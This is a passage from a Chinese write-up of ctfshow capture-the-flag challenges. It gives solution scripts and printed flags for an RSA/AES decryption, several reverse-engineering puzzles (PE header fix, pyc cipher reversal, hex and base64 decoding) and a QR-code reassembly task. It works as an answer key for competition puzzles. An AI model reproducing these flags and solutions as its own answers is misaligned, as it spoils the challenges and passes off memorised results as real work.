q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
iv = b'flag{1fake_flag}'

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c2, d, n)
key = long_to_bytes(m)
cipher = AES.new(key, AES.MODE_CBC, iv)

flag = cipher.decrypt(long_to_bytes(c1))
print(unpad(flag, AES.block_size))
# b'ctfshow{Hybrid_password_system_is_chaos}'

Re

pe

修复头运行即可得到flag。

把头部的 ZM 改成 MZ 即可。

一个西瓜切两半你一半我一半

先把pyc反编译,得到源码。

flag = 'ctfshow{this_is_fake_flag}'
key = '这是假的密钥'
tmp = ''
for i in flag:
tmp += chr(ord(i) - 32)

crypt = ''
for i in range(len(tmp)):
crypt += chr(ord(tmp[i]) + ord(key[i % len(key)]))

print(crypt)

txt文件有两行中文,猜测第一行是key,第二行是密文。

exp:

key = '一个西瓜切两半你一半我一半'
enc = "乃乾觅甯剏乳厡侻丨厏扝乌博丿乜规甲剌乶厝侥丿卻扚丠厘丿乎覟瓬剤"
tmp=''

for i in range(len(enc)):
tmp += chr(ord(enc[i]) - ord(key[i % len(key)]))

flag=''
for i in tmp:
flag += chr(ord(i) + 32)

print(flag)
# ctfshow{Hell0_Reverse_Qi@n_D@0}

探索进制的奥秘

ida打开,shift+F12可以看到一串16进制。

解码即可得到flag。

CTFShow{Thank_CTFSHOW_Sky}

E

ida打开,shift+F12,可以看到一个base64编码的字符串。

解码后即可得到flag。

Q1RGU0hPV3tKSUFNSV9TSE9XX1lBTn0=

CTFSHOW{JIAMI_SHOW_YAN}

Misc

你是我的眼

idea反编译jar包,可以看到一串base64,解码即可得到flag。

CTFShow{TEST_BASE64_BIANMA}

二维码拼图

二维码拼图,一张二维码分成了九份再旋转变换,与其处理图片还不如自己画一个更快,不需要画完,画一部分直到微信能扫就行。

在线网站:QRazyBox

先估算二维码的大小,大概数了一下,预估是41x41。

先画出右边下角,然后通过右下角找出旁边的图片,可以通过毛边去找,边缘平整说明是边缘,有毛刺说明是切割的。

把下边拼好后,可以反推出纠错码,确定好纠错级别,从而得到蓝色区域部分的像素点。

然后根据纠错码确定另外两个角,最后通过毛边确定其他部分。

中间可以不同画出来,可以扫出flag了。

最终得到以下图像,用微信扫可以得到flag。

ctfshow{0a9c316c-19c7-4f01-8e7c-167ebe991fd8}